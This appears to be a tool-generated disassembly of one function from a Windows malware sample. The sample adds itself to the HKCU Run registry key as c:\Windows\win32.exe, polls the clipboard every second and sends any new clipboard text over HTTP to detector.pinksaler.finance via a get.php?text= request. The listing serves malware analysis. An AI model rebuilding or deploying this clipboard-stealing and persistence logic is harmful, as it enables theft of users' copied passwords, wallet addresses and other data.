Function at 0x1400203d0
Capabilities:
Open clipboard
Persist via run registry key
Read clipboard data
Set registry value

Disassembly:
push rbp
push rdi
push r12
lea rbp, [rsp - 0x50]
sub rsp, 0x150
mov rax, qword [0x140059100]
xor rax, rsp
mov qword [rbp + 0x38], rax
lea rax, [rsp + 0x40]
mov r9d, 1
xor r8d, r8d
mov qword [rsp + 0x20], rax
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
test eax, eax
jne 0x140020466
lea r8, [rsp + 0x40]
mov rcx, 0xffffffff80000001
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
call qword [sym.imp.ADVAPI32.dll_RegCreateKeyA]
test eax, eax
jne 0x140020466
mov rcx, qword [rsp + 0x40]
lea rax, str.c:Windowswin32.exe
mov dword [rsp + 0x28], setsockopt
lea rdx, str.win32
mov r9d, 1
mov qword [rsp + 0x20], rax
xor r8d, r8d
call qword [sym.imp.ADVAPI32.dll_RegSetValueExA]
xorps xmm0, xmm0
mov qword [rbp + 0x10], reloc.WS2_32.dll_ntohs
xor r12d, r12d
mov ecx, 0x30
movups xmmword [rbp - 8], xmm0
mov edi, r12d
mov qword [rbp + 8], r12
mov byte [rbp - 8], dil
movups xmmword [rbp - 0x30], xmm0
call fcn.140022718
movdqa xmm0, xmmword [0x140044850]
lea r9, [rbp - 0x70]
movdqu xmmword [rbp - 0x20], xmm0
mov qword [rbp - 0x30], rax
lea r8, [rbp - 0x50]
movups xmm0, xmmword [str.http:__detector.pinksaler.finance]
lea rdx, [rbp - 0x30]
movups xmmword [rax], xmm0
movups xmm1, xmmword [0x140043f98]
xorps xmm0, xmm0
movups xmmword [rax + 0x10], xmm1
movzx ecx, byte [0x140043fa8]
movdqa xmm1, xmmword [0x140044790]
mov byte [rax + 0x20], cl
lea rcx, [rsp + 0x48]
movups xmmword [rbp - 0x70], xmm0
mov byte [rax + 0x21], dil
movups xmmword [rbp - 0x50], xmm0
mov byte [rbp - 0x70], dil
movdqu xmmword [rbp - 0x60], xmm1
mov byte [rbp - 0x50], dil
movdqu xmmword [rbp - 0x40], xmm1
call fcn.140009260
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x140020537
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020532
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400205a0
call fcn.140022754
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x14002056e
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020569
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400205a0
call fcn.140022754
mov rdx, qword [rbp - 0x18]
cmp rdx, 0xf
jbe 0x1400205ab
mov rcx, qword [rbp - 0x30]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400205a6
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x1400205a6
call fcn.140028744
int3
call fcn.140022754
mov qword [rsp + 0x170], rbx
mov qword [rsp + 0x180], r13
movabs r13, 0x7fffffffffffffff
mov qword [rsp + 0x178], rsi
mov qword [rsp + 0x148], r14
mov qword [rsp + 0x140], r15
nop dword [rax]
xor ecx, ecx
call qword [sym.imp.USER32.dll_OpenClipboard]
test eax, eax
je 0x140020937
mov ecx, 1
call qword [sym.imp.USER32.dll_GetClipboardData]
mov rbx, rax
test rax, rax
je 0x140020931
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GlobalLock]
test rax, rax
je 0x140020931
xorps xmm0, xmm0
mov qword [rbp - 0x60], r12
movups xmmword [rbp - 0x70], xmm0
mov qword [rbp - 0x58], r12
mov r8, 0xffffffffffffffff
nop
inc r8
cmp byte [rax + r8], r12b
jne 0x140020630
mov rdx, rax
lea rcx, [rbp - 0x70]
call fcn.140002360
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GlobalUnlock]
call qword [sym.imp.USER32.dll_CloseClipboard]
movups xmm0, xmmword [rbp - 0x60]
movups xmm1, xmmword [rbp - 0x70]
movq rbx, xmm0
movups xmmword [rbp + 0x18], xmm1
movups xmmword [rbp + 0x28], xmm0
test rbx, rbx
je 0x14002092b
psrldq xmm0, 8
lea rdx, [rbp + 0x18]
movq r14, xmm0
lea rcx, [rbp - 8]
cmp r14, 0xf
movq rsi, xmm1
cmova rdx, rsi
cmp qword [rbp + 0x10], 0xf
cmova rcx, qword [rbp - 8]
cmp rdi, rbx
jne 0x1400206b0
mov r8, rdi
call fcn.14003fb70
test eax, eax
je 0x14002092b
cmp r14, 0xf
lea rdx, [rbp + 0x18]
mov r8, rbx
lea rcx, [rbp - 8]
cmova rdx, rsi
call fcn.1400167f0
lea rdx, [rbp - 8]
lea rcx, [rbp - 0x50]
call fcn.14001ea60
mov r15, qword [rbp - 0x40]
mov rax, r13
sub rax, r15
cmp rax, 0xe
jb 0x14002099b
cmp qword [rbp - 0x38], 0xf
lea r14, [rbp - 0x50]
lea rsi, [r15 + 0xe]
mov ebx, reloc.WS2_32.dll_ntohs
cmova r14, qword [rbp - 0x50]
lea rdi, [rbp - 0x70]
xorps xmm0, xmm0
movups xmmword [rbp - 0x70], xmm0
cmp rsi, rbx
jbe 0x14002078b
mov rbx, rsi
or rbx, 0xf
cmp rbx, r13
jbe 0x14002072f
movabs rax, 0x8000000000000000
mov rbx, r13
add rax, 0x27
jmp 0x140020760
cmp rbx, 0x16
mov eax, reloc.WS2_32.dll_shutdown
cmovb rbx, rax
lea rcx, [rbx + 1]
test rcx, rcx
jne 0x14002074a
mov rdi, r12
jmp 0x140020787
cmp rcx, 0x1000
jb 0x14002077f
lea rax, [rcx + 0x27]
cmp rax, rcx
jbe 0x14002098f
mov rcx, rax
call fcn.140022718
test rax, rax
je 0x140020995
lea rdi, [rax + 0x27]
and rdi, 0xffffffffffffffe0
mov qword [rdi - 8], rax
jmp 0x140020787
call fcn.140022718
mov rdi, rax
mov qword [rbp - 0x70], rdi
movsd xmm0, qword [str._get.php_text]
mov r8, r15
mov qword [rbp - 0x60], rsi
mov rdx, r14
mov qword [rbp - 0x58], rbx
movsd qword [rdi], xmm0
mov ecx, dword [0x140043fb8]
mov dword [rdi + 8], ecx
lea rcx, [rdi + 0xe]
movzx eax, word [0x140043fbc]
mov word [rdi + 0xc], ax
call fcn.14003fc70
mov byte [rdi + rsi], r12b
mov ecx, 0x60
mov rbx, qword [rsp + 0x48]
mov qword [rbp - 0x78], r12
mov qword [rsp + 0x30], r12
mov qword [rsp + 0x38], r12
call fcn.140022718
lea r9, [rsp + 0x30]
mov rcx, rbx
lea r8, [rbp - 0x70]
lea rdx, [rbp - 0x30]
mov qword [rax], rax
mov qword [rax + 8], rax
mov qword [rax + 0x10], rax
mov word [rax + 0x18], 0x101
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x50]
mov qword [rsp + 0x20], rax
call fcn.14000f060
mov rcx, qword [rsp + 0x30]
mov rbx, qword [rcx + 8]
cmp byte [rbx + 0x19], r12b
jne 0x14002086a
nop word [rax + rax]
mov r8, qword [rbx + 0x10]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x30]
call fcn.140002f00
mov rdi, rbx
mov rbx, qword [rbx]
lea rcx, [rdi + 0x20]
call fcn.14000b620
mov edx, 0x60
mov rcx, rdi
call fcn.140022754
cmp byte [rbx + 0x19], r12b
je 0x140020830
mov rcx, qword [rsp + 0x30]
mov edx, 0x60
call fcn.140022754
mov rdx, qword [rbp - 0x58]
cmp rdx, 0xf
jbe 0x1400208af
mov rcx, qword [rbp - 0x70]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x1400208aa
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140020995
call fcn.140022754
mov r8, qword [rbp - 0x20]
lea rdx, [rbp - 0x20]
lea rcx, [rbp - 0x20]
mov r8, qword [r8 + 8]
call fcn.140002f00
mov rcx, qword [rbp - 0x20]
mov edx, 0x60
call fcn.140022754
mov rbx, qword [rbp - 0x30]
test rbx, rbx
je 0x1400208f0
mov rcx, rbx
call fcn.14000c4e0
mov edx, 0x128
mov rcx, rbx
call fcn.140022754
mov rdx, qword [rbp - 0x38]
cmp rdx, 0xf
jbe 0x140020927
mov rcx, qword [rbp - 0x50]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020922
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140020995
call fcn.140022754
mov rdi, qword [rbp + 8]
mov rbx, qword [rbp + 0x30]
jmp 0x140020947
call qword [sym.imp.USER32.dll_CloseClipboard]
xorps xmm0, xmm0
mov ebx, reloc.WS2_32.dll_ntohs
movups xmmword [rbp + 0x18], xmm0
mov byte [rbp + 0x18], r12b
mov ecx, 0x3e8
call qword [sym.imp.KERNEL32.dll_Sleep]
cmp rbx, 0xf
jbe 0x1400205e0
mov rcx, qword [rbp + 0x18]
lea rdx, [rbx + 1]
mov rax, rcx
cmp rdx, 0x1000
jb 0x140020985
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1400209a1
call fcn.140022754
jmp 0x1400205e0
call fcn.140015e30
int3
call fcn.140028744
int3
call fcn.140016530
int3
call fcn.140028744
int3